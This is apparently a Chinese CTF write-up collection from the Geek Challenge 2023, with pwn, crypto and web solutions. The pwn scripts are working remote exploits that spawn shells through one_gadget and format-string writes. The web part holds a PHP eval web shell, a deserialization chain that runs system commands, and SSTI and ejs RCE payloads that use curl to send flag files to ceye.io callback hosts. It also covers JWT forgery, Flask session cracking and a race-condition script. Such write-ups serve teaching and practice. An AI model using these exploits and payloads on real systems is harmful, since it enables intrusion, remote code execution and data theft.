p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def bug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug')
#p = process('./EVA')
p = remote('pwn.node.game.sycsec.com', 30243)
elf = ELF('./EVA')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF('./libc.so.6')
main=0x401282
rl("Do you know <Neon Genesis Evangelion>\n")
sl(str(0))
rl("I'll punish you to go back and watch\n")
pay=p64(0x404030+0x40+0x10)+p64(0x401355)
#bug()
s(pay)
pay=p64(0x401282)
s(pay)
rl("Do you know <Neon Genesis Evangelion>\n")
sl(str(0))
rl("I'll punish you to go back and watch\n")
pay=p64(0x404080+0x40)+p64(0x401305)
s(pay)
libc_base=get_addr()-libc.sym['_IO_2_1_stderr_']
li(hex(libc_base))
one_gadget=libc_base+0xe3b01
write=libc_base+libc.sym['_IO_2_1_stdout_']
sl(str(write&0xffffffff))
rl("I'll punish you to go back and watch\n")
pay=p64(0x404030+0x40+0x10)+p64(one_gadget)
s(pay)
rl("Do you know <Neon Genesis Evangelion>\n")
sl(str(0))
rl("I'll punish you to go back and watch\n")
pay=p64(0x404018+0x50)+p64(0x401355)
s(pay)
pause()
pay=p64(one_gadget)
s(pay)
rl("Do you know <Neon Genesis Evangelion>\n")
sl(str(0))
#libc_base=get_addr()-2017664
#li(hex(libc_base))
#one_gadget=libc_base+0xe3afe
#sl(str(0))
#rl("I'll punish you to go back and watch\n")
#pay=p64(0)+p64(one_gadget)
#s(pay)
inter()
fmt2.0
读入的字节少,手动构造payload,把返回地址修改成one_gadget即可
from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64
import gmpy2
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def bug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug')
#p = process('./fmt2.0')
p = remote('pwn.node.game.sycsec.com', 30045)
elf = ELF('./fmt2.0')
libc=ELF("./libc.so.6")
#libc = ELF('./libc-2.31.so')
rl("frist str:")
pay=b'%19$p%16$p'
#bug()
sl(pay)
libc_base=int(p.recv(14),16)-libc.sym['__libc_start_main']-243
li(hex(libc_base))
one_gadget=libc_base+0xe3b01
stack=int(p.recv(14),16)-232
li(hex(stack))
rl("second str:")
pay=(b'%'+str((one_gadget>>16)&0xff).encode()+b'c%10$hhn'+b'%'+str((((one_gadget)&0xffff)-((one_gadget>>16)&0xff))).encode()+b'c%11$hn').ljust(32,b'\x00')+p64(stack+2)+p64(stack)
print(len(pay))
s(pay)
li(hex(one_gadget))
li(hex((one_gadget>>16)&0xff))
li(hex(((one_gadget)&0xffff)-((one_gadget>>16)&0xff)))
inter()
fmt3.0
脚本如下:
from pwn import *
import sys
remote_addr = ["pwn.node.game.sycsec.com",port]
libc = ELF('./libc.so.6')
#elf = ELF('')
if len(sys.argv) == 1:
context.log_level="debug"
#p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu/", "-g","1234","./stack"])
#p = process(["qemu-aarch64", "-L", ".", "./stack"])
p = process("./fmt3.0_patched")
context(arch='amd64', os='linux')
context.terminal = ['tmux', 'splitw', '-h']
if len(sys.argv) == 2 :
if 'r' in sys.argv[1]:
p = remote(remote_addr[0],remote_addr[1])
if 'n' not in sys.argv[1]:
context.log_level="debug"
context(arch = 'amd64', os = 'linux')
r = lambda : p.recv()
rl = lambda : p.recvline()
rc = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
shell = lambda : p.interactive()
pr = lambda name,x : log.info(name+':'+hex(x))
DEBUG = 1
def debug(bp = None):
if DEBUG == 1:
if bp != None:
gdb.attach(p, bp)
else:
gdb.attach(p)
#debug()
payload = b'%8$p.%13$p'
sa(b'me!', payload)
ru(b'0x')
stack_addr = int(rc(12), 16)
pr('stack_addr', stack_addr)
ru(b'0x')
libc.address = int(rc(12), 16) - libc.sym['__libc_start_main'] - 243
binsh = next(libc.search(b'/bin/sh\x00'))
pop_rdi = libc.address + 0x23b6a
ret = libc.address + 0xc16ab
system = libc.sym['system']
pr('libc.address', libc.address)
ret_addr = (stack_addr + 8) & 0xff
payload = b'%' + str(ret_addr).encode() + b'c%8$hhn'
sa(b'me!', payload)
payload = b'%' + str(0x74).encode() + b'c%10$hhn'
sa(b'me!', payload)
payload = flat(ret, pop_rdi, binsh, system)
pause()
s(payload)
shell()
CRYPTO
ext^7gcd
用前两数gcd,使后面的a[i]p[i]和为0
exp:
from Crypto.Util.number import *
from string import *
from hashlib import *
from string import *
from gmpy2 import *
from pwn import *
dic = ascii_letters + string.digits
io = remote('59.110.20.54', 1789)
io.recvuntil(b'XXXX+')
t = io.recvuntil(b')').decode().strip()[:-1]
io.recvuntil(b'== ')
c_sha256 = io.recvline().decode().strip()
for i in dic:
for j in dic:
for k in dic:
for x in dic:
cipher = i + j + k + x + t
z = sha256(cipher.encode()).hexdigest()
if z == c_sha256:
res = i + j + k + x
io.sendline(res)
while True:
try:
io.recvuntil('[')
p = io.recvuntil(b']').decode().strip()[:-1]
p = list(map(int, p.split(',')))
a = [0] * 7
_, a[0], a[1] = gcdext(p[0], p[1])
for i in range(2,len(p)):
a[i] += p[0]
a[0] -= p[i]
ans = ''
for i in a:
ans = ans + str(i) +','
ans = ans[:-1]
io.sendline(ans)
except:
k = io.recv()
print(k)
break
io.interactive()
EzComplex
复数域分解p2+q2
exp:
from Crypto.Util.number import *
from gmpy2 import *
N = 973990451943921675425625260267293227445098713194663380695161260771362036776671793195525239267004528550439258233703798932349677698127549891815995206853756301593324349871567926792912475619794804691721625860861059975526781239293017498
c = 122977267154486898127643454001467185956864368276013342450998567212966113302012584153291519651365278888605594000436279106907163024162771486315220072170917153855370362692990814276908399943293854077912175867886513964032241638851526276
e = 0x10001
f = ZZ[i](N)
for i in divisors(f):
if (i[0] ** 2 + i[1] ** 2 == N):
p = abs(int(i[0]))
q = abs(int(i[1]))
if isPrime(p):
n = p * q
phi = (p - 1) * (q - 1)
d = invert(e, phi)
m = powmod(c, d, n)
print(long_to_bytes(m))
card_game
lcg
exp:
from pwn import *
from Crypto.Util.number import *
from gmpy2 import *
io = remote("59.110.20.54", 4953)
io.recv()
io.sendline(str(1).encode())
card_num = ['_A', '_2', '_3', '_4', '_5', '_6', '_7', '_8', '_9', '_10', '_J', '_Q', '_K']
x = []
for _ in range(2):
io.recvuntil(b'gift: ')
t = io.recvuntil(b']').decode().strip()
t = t[1:len(t) - 1]
gift = t.split(', ')
for i in gift:
temp = int(i)
x.append(temp)
x6 = int(gift[2])
print(x)
t = []
for i in range(1, len(x)):
t.append(x[i] - x[i-1])
m = 0
for i in range(1, len(t)-1):
m = GCD(t[i+1]*t[i-1] - t[i]*t[i], m)
print(m)
assert isPrime(m)
a = (x[2] - x[1]) * inverse(x[1] - x[0], m)
b = (x[1] - a*x[0]) % m
def choose_card(num):
x = (num>>5)%4
if x == 0:
return ((num>>6)%13), 'Heart'
if x%4 == 1:
return ((num>>6)%13), 'Spade'
if x%4 == 2:
return ((num>>6)%13), 'Diamond'
else:
return ((num>>6)%13), 'Club'
out = x6
print(out)
while True:
try:
res = []
answer = []
for j in range(3):
out = (out * a + b) % m
res.append(out)
for j in res:
card, suit = choose_card(j)
ans = suit + card_num[card]
answer.append(ans)
ans = (' '.join(answer)).encode()
sleep(0.1)
io.sendline(ans)
except:
x = io.recv()
if b'SYC' in x:
print(x)
break
io.interactive()
Energetic_Carcano
类似lcg的操作
exp:
from Crypto.Util.number import *
from gmpy2 import *
pts = []
f = []
for x in range(len(pts)):
f.append(pts[x, 1] ** 2 - pts[0, 1] ** 2 - (pts[x, 0] ** 3 - pts[0, 0] ** 3))
p1 = f[3] * (pts[2, 0] - pts[0, 0]) - f[2] * (pts[3, 0] - pts[0, 0])
p2 = f[1] * (pts[2, 0] - pts[0, 0]) - f[2] * (pts[1, 0] - pts[0, 0])
p = gcd(p2, p1)
print(p)
assert isPrime(p)
inv = invert(pts[1, 0] - pts[0, 0], p)
a = (f[1] * inv) % p
print(a)
b = (pts[1, 1] ** 2 - pts[1, 0] ** 3 - a * pts[1, 0]) % p
print(b)
JPGDiff
Hilbert曲线,上网找个脚本改改
from PIL import Image
images = []
raw = Image.open("./geek_chanllenge/ct.png")
for i in range(0,65536):
region = raw.crop((0,i,1,i+1))
images.append(region)
new_image = Image.new("RGB", (256,256), "white")
cd=['w']
for ttt in range(0,8):
tcd=[]
for i in cd:
if(i=='w'):
tcd.append('d')
tcd.append('w')
tcd.append('w')
tcd.append('a')
if(i=='d'):
tcd.append('w')
tcd.append('d')
tcd.append('d')
tcd.append('s')
if(i=='s'):
tcd.append('a')
tcd.append('s')
tcd.append('s')
tcd.append('d')
if(i=='a'):
tcd.append('s')
tcd.append('a')
tcd.append('a')
tcd.append('w')
cd=tcd[:]
print(cd,len(cd))
x=256
y=0
for i in range(0,65536):
new_image.paste(images[i],(x,y))
if(cd[i]=='w'):
x-=1
if(cd[i]=='d'):
y+=1
if(cd[i]=='s'):
x+=1
if(cd[i]=='a'):
y-=1
new_image.save("./geek_chanllenge/out.png")
Simple3DES
弱密钥
key=b"\xFE\xFE\xFE\xFE\xFE\xFE\xFE\xFE"+b"\x01\x01\x01\x01\x01\x01\x01\x01"+b"\xFE\xFE\xFE\xFE\xFE\xFE\xFE\xFE"
加密两次等于没加密
exp:
from Crypto.Util.number import *
key = b"\xFE\xFE\xFE\xFE\xFE\xFE\xFE\xFE"+b"\x01\x01\x01\x01\x01\x01\x01\x01"+b"\xFE\xFE\xFE\xFE\xFE\xFE\xFE\xFE"
print(bytes_to_long(key))
print(long_to_bytes(37699681561444816228091816433931698303804192466855953954712547876593130083457))
Fi1nd_th3_x'
from sage.arith.all import crt
def extended_crt(congruences):
remainders = [congruence[0] for congruence in congruences]
moduli = [congruence[1] for congruence in congruences]
solution = crt(remainders, moduli)
return solution
p= 13014610351521460822156239705430709078128228907778181478242620569429327799535062679140131416771915929573454741755415612880788196172134695027201422226050343
q= 12772373441651008681294250861077909144300908972709561019514945881228862913558543752401850710742410181542277593157992764354184262443612041344749961361188667
r= 12128188838358065666687296689425460086282352520167544115899775800918383085863282204525519245937988837403739683061218279585168168892037039644924073220678419
dP= 116715737414908163105708802733763596338775040866822719131764691930369001776551671725363881836568414327815420649861207859100479999650414099346914809923964116101517432576562641857767638396325944526867458624878906968552835814078216316470330511385701105459053294771612727181278955929391807414985165924450505855941
dQ= 44209639124029393930247375993629669338749966042856653556428540234515804939791650065905841618344611216577807325504984178760405516121845853248373571704473449826683120387747977520655432396578361308033763778324817416507993263234206797363191089863381905902638111246229641698709383653501799974217118168526572365797
dR= 60735172709413093730902464873458655487237612458970735840670987186877666190533417038325630420791294593669609785154204677845781980482700493870590706892523016041087206844082222225206703139282240453277802870868459288354322845410191061009582969848870045522383447751431300627611762289800656277924903605593069856921
c= 93063188325241977486352111369210103514669725591157371105152980481620575818945846725056329712195176948376321676112726029400835578531311113991944495646259750817465291340479809938094295621728828133981781064352306623727112813796314947081857025012662546178066873083689559924412320123824601550896063037191589471066773464829226873338699012924080583389032903142107586722373131642720522453842444615499672193051587154108368643495983197891525747653618742702589711752256009
congruences = [(dP,(q-1)*(r-1)), (dQ,(p-1)*(r-1)), (dR,(p-1)*(q-1))]
result = extended_crt(congruences)
print("Solution:", result)
d = 165491523462007956398530261238759923870196080375265000534525661690633345463015242789311873568146385720020040624656002271057930225387764840769974562070646182847943707538823108901869155436725226837904509058886854986841295642060081156709176798958145207599953407769840343425663149902266682646724106747828667725830936024035707038099651237637163657086990976684361419102226209657433291392884336805246968126787159394313213089671545441606442264218646417418814509400366113
c= 93063188325241977486352111369210103514669725591157371105152980481620575818945846725056329712195176948376321676112726029400835578531311113991944495646259750817465291340479809938094295621728828133981781064352306623727112813796314947081857025012662546178066873083689559924412320123824601550896063037191589471066773464829226873338699012924080583389032903142107586722373131642720522453842444615499672193051587154108368643495983197891525747653618742702589711752256009
flag=pow(c,d,p*q*r)
from libnum import *
print(n2s(int(flag)))
#SYC{CRT_1s_f3n_but_Gen3hi_im9act_is_a_balabalaba}
Diligent_Liszt
p = 1068910928091265978478887270179608140018534288604159452828300604294675735481804963679672853224192480667904101881092533866322948043654533322038484907159945421
q = 1711302770747802020613711652777299980542669713888988077474955896217408515180094849053961025086865697904731088087532944829046702427480842253022459937172565651
r = 132969813572228739353704467775972551435751558645548804253458782569132362201099158857093676816706297676454547299888531536236748314013888413096371966359860637
y = 5385116324746699759660077007129548063211490907227715474654765255668507958312745677683558789874078477569613259930365612562164095274660123330458355653249805062678976259429733060364358954180439218947514191603330532117142653558803034110759332447742304749985874760435453594107494324797235909651178472904825071375135846093354526936559640383917210702874692725723836865724807664892994298377375580807917514349966834376413176898806591411038129330967050554114677719107335006266
e=3
c1 = GF(p)(y)
c2 = GF(q)(y)
c3= GF(r)(y)
e1 = GF(p)(e)
e2 = GF(q)(e)
e3 = GF(r)(e)
k1 = discrete_log(c1, e1)
k2 = discrete_log(c2, e2)
k3 = discrete_log(c3, e3)
m = crt([k1, k2,k3], [p - 1, q - 1,r-1])
print(bytes.fromhex(hex(m)[2:]))
#SYC{D1scr3te_L0g_W1th_Mult1pl3_pr1m35}
Signin
16进制ascii码转换为字符,得到flag
proof_of_work
import hashlib
import re
import string
from itertools import product as iterate_product
def perform_security_check():
security_info = 'sha256(XXXX+FCxk8M9svYwVMfGe) == 793edc396da13a7992b429e50e7d122c41debbd902419d26a0792b4008dba844'
character_set = string.ascii_letters + string.digits
secret_suffix = re.search(r'\(XXXX\+(.*?)\)', security_info).group(1)
target_hash = re.search(r'== (.*?)$', security_info).group(1)
print(f"Secret Suffix: {secret_suffix}, Target Hash: {target_hash}")
for attempt in iterate_product(character_set, repeat=4):
prefix_attempt = ''.join(attempt)
guess_attempt = f"{prefix_attempt}{secret_suffix}"
if hashlib.sha256(guess_attempt.encode()).hexdigest() == target_hash:
print(f"Success! Found XXXX Prefix: {prefix_attempt}")
return prefix_attempt
return None
perform_security_check()
SimpleRSA
OTPTwice
from pwn import xor
M1=b'\xdbi\xab\x8d\xfb0\xd3\xfe!\xf8Xpy\x80w\x8c\x87\xb9'
M2=b'o\xb0%\xfb\xdb\x0e\r\x04\xde\xd1\x9a\x08w\xda4\x0f\x0cR'
M3=b'\xe7\x80\xcd\ria\xb2\xca\x89\x1a\x9d;|#3\xf7\xbb\x96'
n1=xor(M2,M3)
n2=xor(M2,M1)
flag=xor(n1,M1)
print(flag)
OldAlgorithm
from Crypto.Util.number import *
c_values = [36086, 4005, 3350, 23179, 34246, 5145, 32490, 16348, 13001, 13628, 7742, 46317, 50824, 23718, 32995, 7640, 10590, 46897, 39245, 16633, 31488, 36547, 42136, 52782, 31929, 34747, 29026, 18748, 6634, 9700, 8126, 5197]
p_values = [58657, 47093, 47963, 41213, 57653, 56923, 41809, 49639, 44417, 38639, 39857, 53609, 55621, 41729, 60497, 44647, 39703, 55117, 44111, 57131, 37747, 63419, 63703, 64007, 46349, 39241, 39313, 44909, 40763, 46727, 34057, 56333]
def solve_modulo_equations(c_values, p_values):
n = len(c_values)
M = 1
M_values = []
for p in p_values:
M *= p
for p in p_values:
M_values.append(M // p)
y_values = [inverse(M_values[i], p_values[i]) for i in range(n)]
x = 0
for i in range(n):
x += c_values[i] * M_values[i] * y_values[i]
x %= M
return long_to_bytes(x)
flag = solve_modulo_equations(c_values, p_values)
print("Decrypted Flag:", flag)
easy_classic
凯撒,栅栏,base64,熊曰,emoji,playfair
PolyRSA
csdn找到相关解法
from Crypto.Util.number import *
from gmpy2 import *
e1 = 113717
e2 = 80737
c1 = 97528398828294138945371018405777243725957112272614466238005409057342884425132214761228537249844134865481148636534134025535106624840957740753950100180978607132333109806554009969378392835952544552269685553539656827070349532458156758965322477969141073720173165958341043159560928836304172136610929023123638981560836183245954461041167802574206323129671965436040047358250847178930436773249800969192016749684095882580749559014647942135761757750292281205876241566597813517452803933496218995755905344070203047797893640399372627351254542342772576533524820435965479881620338366838326652599102311019884528903481310690767832417584600334987458835108576322111553947045733143836419313427495888019352323209000292825566986863770366023326755116931788018138432898323148059980463407567431417724940484236335082696026821105627826117901730695680967455710434307270501190258033004471156993017301443803372029004817834317756597444195146024630164820841200575179112295902020141040090350486764038633257871003899386340004440642516190842086462237559715130631205046041819931656962904630367121414263911179041905140516402771368603623318492074423223885367923228718341206283572152570049573607906130786276734660847733952210105659707746969830132429975090175091281363770357
c2 = 353128571201645377052005694809874806643786163076931670184196149901625274899734977100920488129375537186771931435883114557320913415191396857882995726660784707377672210953334914418470453787964899846194872721616628198368241044602144880543115393715025896206210152190007408112767478800650578941849344868081146624444817544806046188600685873402369145450593575618922226415069043442295774369567389939040265656574664538667552522329712111984168798829635080641332045614585247317991581514218486004191829362787750803153463482021229058714990823658655863245025037102127138472397462755776598314247771125981017814912049441827643898478473451005083533693951329544115861795587564408860828213753948427321483082041546722974666875065831843384005041800692983406353922680299538080900818930589336142421748023025830846906503542594380663429947801329079870530727382679634952272644949425079242992486832995962516376820051495641486546631849426876810933393153871774796182078367277299340503872124124714036499367887886486264658590613431293656417255355575602576047502506125375605713228912611320198066713358654181533335650785578352716562937038768171269136647529849805172492594142026261051266577821582011917001752590659862613307646536049830151262848916867223615064832279222
cipher = 375617816311787295279632219241669262704366237192565344884527300748210925539528834207344757670998995567820735715933908541800125317082581328287816628816752542104514363629022246620070560324071543077301256917337165566677142545053272381990573611757629429857842709092285442319141751484248315990593292618113678910350875156232952525787082482638460259354559904243062546518553607882194808191571131590524874275187750985821420412987586148770397073003186510357920710387377990379862185266175190503647626248057084923516190642292152259727446111686043531725993433395002330208067534104745851308178560234372373476331387737629284961288204368572750848248186692623500372605736825205759172773503283282321274793846281079650686871355211691681512637459986684769598186821524093789286661348936784712071312135814683041839882338235290487868969391040389837253093468883093296547473466050960563347060307256735803099039921213839491129726807647623542881247210251994139130146519265086673883077644185971830004165931626986486648581644383717994174627681147696341976767364316172091139507445131410662391699728189797082878876950386933926807186382619331901457205957462337191923354433435013338037399565519987793880572723211669459895193009710035003369626116024630678400746946356
n = 728002565949733279371529990942440022467681592757835980552797682116929657292509059813629423038094227544032071413317330087468458736175902373398210691802243764786251764982802000867437756347830992118278032311046807282193498960587170291978547754942295932606784354258945168927044376692224049202979158068158842475322825884209352566494900083765571037783472505580851500043517614314755340168507097558967372661966013776090657685241689631615245294004694287660685274079979318342939473469143729494106686592347327776078649315612768988028622890242005700892937828732613800620455225438339852445425046832904615827786856105112781009995862999853122308496903885748394541643702103368974605177097553007573113536089894913967154637055293769061726082740854619536748297829779639633209710676774371525146758917646731487495135734759201537358734170552231657257498090553682791418003138924472103077035355223367678622115314235119493397080290540006942708439607767313672671274857069053688258983103863067394473084183472609906612056828326916114024662795812611685559034285371151973580240723680736227737324052391721149957542711415812665358477474058103338801398214688403784213100455466705770532894531602252798634923125974783427678469124261634518543957766622712661056594132089
e = 65537
ee = e1 * e2
a = powmod(2, ee, n)
b = powmod(3, ee, n)
c = powmod(5, ee, n)
d = powmod(7, ee, n)
t = a * d - b * c
kp = invert(t, n) * (d * powmod(c1, e2, n) - b * powmod(c2, e1, n)) % n
p = gcd(kp, n)
q = n // p
phi = (p - 1) * (q - 1)
m = powmod(cipher, invert(e, phi), n)
print(long_to_bytes(m))
Just need one
选择-2**32.
每次取走32位,转成十进制,再保证值n总会回到正数所以n*-1.
import socket
import json
import os
import random
import string
import hashlib
def getHashAnswer(p,q):
alphabet=''.join([chr(i+ord('a')) for i in range(0,26)]+[chr(i+ord('A')) for i in range(0,26)]+[chr(i+ord('0')) for i in range(0,10)])
for a in alphabet:
for b in alphabet:
for c in alphabet:
for d in alphabet:
t=hashlib.sha256((a+b+c+d+p).encode()).hexdigest()
if(t==q):
return a+b+c+d
target_ip = "59.110.20.54"
target_port =2613
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
response = sock.recv(2048).decode()
print(f"Response:\n{response}\n")
ans1 = getHashAnswer(response.split('+')[1].split(")")[0],response.split("=")[-1].split()[0])
print(ans1)
sock.sendall(ans1.encode("utf-8"))
sock.send(b'\n')
response = sock.recv(2048).decode()
print(f"Response:\n{response}\n")
sock.sendall(str(-pow(2,32)).encode("utf-8"))
sock.send(b'\n')
response = sock.recv(2048).decode()
print(f"Response:\n{response}\n")
num=int(response[:-25])
b=[]
for j in range(0,128):
num=num+pow(2,32*128)
b.append(int(bin(num)[-32:],2))
num//=pow(2,32)
num*=-1
sock.sendall(str(b)[1:-1].encode("utf-8"))
sock.send(b'\n')
response = sock.recv(2048).decode()
print(response)
WEB
unsign
exp如下
<?php
highlight_file(__FILE__);
class syc
{
public $cuit;
public function __destruct()
{
echo("action!<br>");
$function=$this->cuit;
return $function();
}
}
class lover
{
public $yxx;
public $QW;
public function __invoke()
{
echo("invoke!<br>");
return $this->yxx->QW;
}
}
class web
{
public $eva1;
public $interesting;
public function __get($var)
{
echo("get!<br>");
$eva1=$this->eva1;
$eva1($this->interesting);
}
}
$a = new syc();
$a->cuit = new lover();
$a->cuit->yxx = new web();
$a->cuit->yxx->eva1 = 'system';
$a->cuit->yxx->interesting = 'cat /flag';
echo serialize($a);
?>
EzHttp
查看源码访问robots.txt,账号密码在/o2takuXX's_username_and_password.txt文件里post传参
username=admin&password=@dm1N123456r00t#
Referer: sycsec.com
User-Agent: Syclover
X-Forwarder-For: 127.0.0.1
n00b_Upload
文件上传
文件名:shell.php 文件内容: GIF89a <?= eval($_POST[1]);?>
easy_php
GET传参: syc=Welcome+to+GEEK+2023!%0a&lover=2022e1 POST传参: qw[]=&yxx[]=&SYC[GEEK.2023=Happy to see you!
ctf_curl
-T /tmp/Syclover y91yp4.ceye.io //带出指定文件的内容
flag保卫战
源码获取账号密码登录后先伪造JWT,密码为默认的123456,然后条件竞争获取flag
import requests
import threading
headers = {
'Cookie':'jwt-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzAwOTMwNjI0fQ.v8TR1br3L9cW4h1pfgGh2gQXurO9vryyJpfVRxlclIY'
}
url = 'https://lqbalz8ywlacp9ynx4e7vt8jr.node.game.sycsec.com/'
uploadurl = url + 'upload'
csrfurl = url + 'new-csrf-token'
flagurl = url + 'flag?pass=1111'
listurl = url + 'file-list'
def upload():
while True:
r = requests.get(url=csrfurl,headers=headers)
content_length = r.headers.get('Set-Cookie')
csrf_token1 = content_length.split('yak_csrf=')[-1].split(';')[0]
file = {'filename':('1.txt','1','text/plain')}
data = {
'yak-token':r.text
}
headers2 = {
'Cookie': 'jwt-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzAwOTMwNjI0fQ.v8TR1br3L9cW4h1pfgGh2gQXurO9vryyJpfVRxlclIY; yak_csrf='+csrf_token1
}
r2 = requests.post(url=uploadurl,headers=headers2,files=file,data=data)
print(r2.text)
def flag():
while True:
r = requests.get(url=csrfurl, headers=headers)
content_length = r.headers.get('Set-Cookie')
csrf_token1 = content_length.split('yak_csrf=')[-1].split(';')[0]
data = {
'yak-token': r.text
}
headers2 = {
'Cookie': 'jwt-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzAwOTMwNjI0fQ.v8TR1br3L9cW4h1pfgGh2gQXurO9vryyJpfVRxlclIY; yak_csrf=' + csrf_token1
}
# r2 = requests.get(url=listurl,headers=headers2,data=data)
# print(r2.text)
r3 = requests.get(url=flagurl,data=data,headers=headers2)
print(r3.text)
threads = [threading.Thread(target=upload), threading.Thread(target=flag)]
for t in threads:
t.start()
klf_ssti
无回显ssti,hackbar随便一个payload直接打
url/hack?klf={%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('curl http://y91yp4.ceye.io/`cat /app/fl4gfl4gfl4g | base64`').read()}}{%endif%}{%endfor%}
ez_remove
O:3:"syc":2:{S:5:"love\72";s:23:"assert($_POST["chu0"]);";}
//这里的assert必须要加,不然会连不上
改为http信道,使用base64编码进行连接
ez_path
算pin后直接命令执行
记得用print
print(__import__('os').popen('ls').read())
you konw flask?
session伪造,key随便写个脚本爆一下
app.secret_key = 'wanbao'+base64.b64encode(str(random.randint(1, 100)).encode('utf-8')).decode('utf-8')+'wanbao'
脚本如下
import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time
import re
import sys
import base64
path = "wordlist.txt"
print("Generating wordlist... ")
with open(path,"w") as f:
#permutations with repetition
[f.write('wanbao'+base64.b64encode(str(i).encode('utf-8')).decode('utf-8')+'wanbao'+'\n') for i in range(1,100)]
url = "http://47.115.201.35:8000/index"
#cookie_tamper = r.head(url).cookies.get_dict()['session']
cookie_tamper='eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiIxMjMiLCJ1c2VyX2lkIjoyfQ.ZUdERQ.G9_GQ_94b-KfDOtnxWXVWWZOV94'
print("Got cookie: " + cookie_tamper)
print("Cracker Started...")
obj = flask_unsign.Cracker(value=cookie_tamper)
before = time.time()
with wordlist(path, parse_lines=False) as iterator:
obj.crack(iterator)
secret = ""
if obj.secret:
secret = obj.secret.decode()
print(f"Found SECRET_KET {secret} in {time.time()-before} seconds")
session伪造拿下flag
Pupyy_rce
赌狗代码,随机读文件
print_r(highlight_file(array_rand(array_flip(scandir(current(localeconv()))))));
famale_imp_l0ve
phar协议读取压缩流
雨
源码如下
const express = require('express');
const jwt = require('jsonwebtoken');
const app = express();
const bodyParser = require('body-parser')
const path = require('path');
const jwt_secret = "VanZY";
const cookieParser = require('cookie-parser');
const putil_merge = require("putil-merge")
app.set('views', './views');
app.set('view engine', 'ejs');
app.use(cookieParser());
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
var Super = {};
var safecode = function (code){
let validInput = /global|mainModule|import|constructor|read|write|_load|exec|spawnSync|stdout|eval|stdout|Function|setInterval|setTimeout|var|\+|\*/ig;
return !validInput.test(code);
};
app.all('/code', (req, res) => {
res.type('html');
if (req.method == "POST" && req.body) {
putil_merge({}, req.body, {deep:true});
}
res.send("welcome to code");
});
app.all('/hint', (req, res) => {
res.type('html');
res.send("I heard that the challenge maker likes to use his own id as secret_key");
});
app.get('/source', (req, res) => {
res.type('html');
var auth = req.cookies.auth;
jwt.verify(auth, jwt_secret , function(err, decoded) {
try{
if(decoded.user==='admin'){
res.sendFile(path.join(__dirname + '/index.js'));
}else{
res.send('you are not admin <!--Maybe you can view /hint-->');
}
}
catch{
res.send("Fuck you Hacker!!!")
}
});
});
app.all('/create', (req, res) => {
res.type('html');
if (!req.body.name || req.body.name === undefined || req.body.name === null){
res.send("please input name");
}else {
if (Super['userrole'] === 'Superadmin') {
res.render('index', req.body);
}else {
if (!safecode(req.body.name)) {
res.send("你在做什么?快停下!!!")
}
else{
res.render('index', {name: req.body.name});
}
}
}
});
app.get('/',(req, res) => {
res.type('html');
var token = jwt.sign({'user':'guest'},jwt_secret,{ algorithm: 'HS256' });
res.cookie('auth ',token);
res.end('Only admin can get source in /source');
});
app.listen(3000, () => console.log('Server started on port 3000'));
jwt伪造
密钥为VanZY (看源码有hint)
原型链污染
/code
{"constructor":{"prototype":{"userrole":"Superadmin"}}}
ejs rce
参考博客:
ejs RCE CVE-2022-29078 bypass - inhann的博客 | inhann's Blog
{
"settings":{
"view options":{
"escapeFunction":"console.log;this.global.process.mainModule.require('child_process').execSync('curl http://6huhzb.ceye.io');",
"client":"true"
}
},"name":"exec"}
反弹shell拿下
ez_php
php原生类的总结_php 原生类_Z3eyOnd的博客-CSDN博客
源码和链子如下
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source(__FILE__);
include('key.php');
include('waf.php');
class Me {
public $qwe;
public $bro;
public $secret;
public function __wakeup() {
echo("进来啦<br>");
$characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
$randomString = substr(str_shuffle($characters), 0, 6);
$this->secret=$randomString;
if($this->bro===$this->secret){
echo "234";
$bb = $this->qwe;
return $bb();
}
else{
echo("错了哥们,再试试吧<br>");
}
}
}
class her{
public $asd;
private $hername='momo';
private $key='9';
public function __invoke() {
echo("好累,好想睡一觉啊<br>");
serialize($this->asd);
}
public function find() {
echo("你能找到加密用的key和她的名字吗?qwq<br>");
if (encode($this->hername,$this->key) === 'vxvx') {
echo("解密成功!<br>");
$file=$_GET['file'];
if (isset($file) && (file_get_contents($file,'r') === "loveyou"))
{
echo("快点的,急急急!!!<br>");
echo new $_POST['ctf']($_GET['fun']);
}
else{
echo("真的只差一步了!<br>");
}
}
